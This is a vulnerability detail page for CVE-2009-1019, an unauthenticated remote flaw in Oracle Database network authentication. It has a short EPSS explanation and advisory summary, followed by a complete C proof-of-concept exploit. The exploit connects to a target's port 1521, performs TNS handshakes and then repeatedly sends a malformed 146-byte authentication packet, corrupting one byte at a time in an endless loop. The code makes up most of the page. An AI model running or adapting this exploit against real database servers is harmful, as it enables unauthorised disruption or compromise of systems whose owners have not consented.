CVE-2009-1019 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/35680/info Oracle Database is prone to a remote vulnerability in Network Authentication. The vulnerability can be exploited over the 'Oracle Net' protocol. An attacker doesn't require privileges to exploit this vulnerability. This vulnerability affects the following supported versions: 9.2.0.8 9.2.0.8DV 10.1.0.5 10.2.0.4 11.1.0.7 // PoC for CVE-2009-1019 // discovered by Dennis Yurichev <dennis@conus.info> // for more information: http://blogs.conus.info/node/24 // run: CVE-2009-1019.exe <host> #include <winsock2.h> #include <stdio.h> #include <string.h> #include <windows.h> #include <assert.h> #include <string> void s_send (SOCKET s, unsigned char *msg, DWORD size) { int sent; printf ("s_send: begin\n"); sent=send (s, (char*)msg, size, 0); if (sent==SOCKET_ERROR) { printf ("send() -> SOCKET_ERROR, WSAGetLastError=%d\n", WSAGetLastError()); } else if (sent!=size) printf ("sent only %d bytes\n", sent); printf ("s_send: end\n"); }; void s_recv (SOCKET s) { char buf[20000]; int r; struct timeval t; fd_set fd; t.tv_sec=0; t.tv_usec=100000; // 100 ms printf ("s_recv: begin\n"); FD_ZERO(&fd); FD_SET(s, &fd); if (select (0, &fd, 0, 0, &t)) // if (select (0, &fd, 0, 0, NULL)) { r=recv (s, buf, 20000, 0); if (r!=0 && r!=-1) { printf ("got %d\n", r); } else { printf ("connection lost, r=%d\n", r); }; } else { printf ("select() returns zero\n"); }; }; unsigned char NSPTCN[]= { 0x00, 0x3A, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x39, 0x01, 0x2C, 0x00, 0x81, 0x08, 0x00, 0x7F, 0xFF, 0xC6, 0x0E, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x3A, 0x00, 0x00, 0x07, 0xF8, //^^ ^^ cmd len 0x0C, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; #define NSPTCN_HEADER_LEN 58 unsigned char NSPTDA[]= { 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, // ^^ ^^ packet len 0x00, 0x00 }; #define NSPTDA_HEADER_LEN 10 void s_send_NSPTDA (SOCKET s, char *msg, int size) { char * buf; int sz=size + NSPTDA_HEADER_LEN; buf=(char*)malloc (sz); NSPTDA[0]=( sz ) >> 8; NSPTDA[1]=( sz ) & 0xFF; memcpy (buf, NSPTDA, NSPTDA_HEADER_LEN); memcpy (buf + NSPTDA_HEADER_LEN, msg, size); printf ("s_send_NSPTDA: sending %d bytes...\n", sz); s_send (s, (unsigned char*)buf, sz); free (buf); }; void s_send_TNS_command (SOCKET s, const char *cmd) { unsigned char * pkt; int cmd_len=strlen (cmd); printf ("sending [%s]\n", cmd); printf ("len: %d\n", cmd_len); if (cmd_len<231) { int str_len=strlen(cmd); int pkt_len=str_len+58; pkt=(unsigned char*)malloc (str_len+58); memcpy (pkt, "\x00\x00\x00\x00\x01\x00\x00\x00" // plenL and plenH "\x01\x38\x01\x2c\x00\x00\x08\x00" "\x7f\xff\x86\x0e\x00\x00\x01\x00" "\x00\x00\x00\x3a\x00\x00\x00\x00" // clenL clenH "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x0d\x40\x00\x00" "\x00\x0e\x00\x00\x00\x00\x00\x00" "\x00\x00", 58); memcpy (pkt+58, cmd, str_len); pkt[1]=pkt_len&0xFF; pkt[0]=(pkt_len>>8)&0xFF; pkt[25]=str_len&0xFF; pkt[24]=(str_len>>8)&0xFF; s_send (s,pkt, pkt_len); free (pkt); } else { NSPTCN[24]=cmd_len >> 8; NSPTCN[25]=cmd_len & 0xFF; s_send (s, &NSPTCN[0], NSPTCN_HEADER_LEN); assert (pkt=(unsigned char*)malloc ( cmd_len + NSPTDA_HEADER_LEN)); NSPTDA[0]=( cmd_len + NSPTDA_HEADER_LEN ) >> 8; NSPTDA[1]=( cmd_len + NSPTDA_HEADER_LEN ) & 0xFF; memcpy (pkt, NSPTDA, NSPTDA_HEADER_LEN); memcpy (pkt + NSPTDA_HEADER_LEN, cmd, cmd_len); s_send (s, pkt, NSPTDA_HEADER_LEN + cmd_len); free (pkt); }; }; bool try_host (char * h, int i, int j) { struct hostent *hp; WSADATA wsaData; struct sockaddr_in sin; int r; struct timeval t; fd_set fd; SOCKET s; char pkt146[146]; WSAStartup(MAKEWORD(1, 1), &wsaData); hp=gethostbyname (h); assert (hp!=NULL); s=socket (AF_INET, SOCK_STREAM, IPPROTO_TCP); assert (s!=INVALID_SOCKET); { u_long on=1; assert (ioctlsocket(s, FIONBIO, &on) != -1); }; sin.sin_family=AF_INET; sin.sin_port=htons(1521); memcpy(&sin.sin_addr, hp->h_addr, hp->h_length); r=connect(s, (struct sockaddr *)&sin, sizeof(sin)); t.tv_sec=3; t.tv_usec=0; FD_ZERO(&fd); FD_SET(s, &fd); if (select (0, 0, &fd, 0, &t)) { printf ("connected to %s\n", h); s_send_TNS_command (s, "(DESCRIPTION=(CONNECT_DATA=(SERVICE_NAME=orcl)(CID=(PROGRAM=client.exe)(HOST=client_host)(USER=dennis)))(ADDRESS=(PROTOCOL=TCP)(HOST=192.168.0.102)(PORT=1521)))"); // waiting for NSPTRS s_recv(s); s_send_TNS_command (s, "(DESCRIPTION=(CONNECT_DATA=(SERVICE_NAME=orcl)(CID=(PROGRAM=client.exe)(HOST=client_host)(USER=dennis)))(ADDRESS=(PROTOCOL=TCP)(HOST=192.168.0.102)(PORT=1521)))"); // waiting for NSPTAC s_recv(s); memcpy (pkt146, "\xDE\xAD\xBE\xEF\x00\x92" "\x0A\x20\x01\x00\x00\x04\x00\x00" "\x04\x00\x03\x00\x00\x00\x00\x00" "\x04\x00\x05\x0A\x20\x01\x00\x00" "\x08\x00\x01\x00\x00\x14\xCC\x5F" "\x40\x95\x3E\x00\x12\x00\x01\xDE" "\xAD\xBE\xEF\x00\x03\x00\x00\x00" "\x04\x00\x04\x00\x01\x00\x01\x00" "\x02\x00\x01\x00\x03\x00\x00\x00" "\x00\x00\x04\x00\x05\x0A\x20\x01" "\x00\x00\x02\x00\x03\xE0\xE1\x00" "\x02\x00\x06\xFC\xFF\x00\x02\x00" "\x02\x00\x00\x00\x00\x00\x04\x00" "\x05\x0A\x20\x01\x00\x00\x0C\x00" "\x01\x00\x11\x06\x10\x0C\x0F\x0A" "\x0B\x08\x02\x01\x03\x00\x03\x00" "\x02\x00\x00\x00\x00\x00\x04\x00" "\x05\x0A\x20\x01\x00\x00\x03\x00" "\x01\x00\x03\x01", 146); pkt146[i]=j; printf ("i=%d j=%02X\n", i, j); s_send_NSPTDA (s, pkt146, 146); s_recv(s); assert (closesocket (s)==0); return true; } else { printf ("while connect(): select() returns zero\n"); assert (closesocket (s)==0); return false; }; }; void main(int argc, char * argv[]) { assert (argv[1]!=NULL); for (;;) for (int pos=0;pos<146;pos++) { try_host (argv[1], pos, 0); Sleep (1000); // 1 second }; };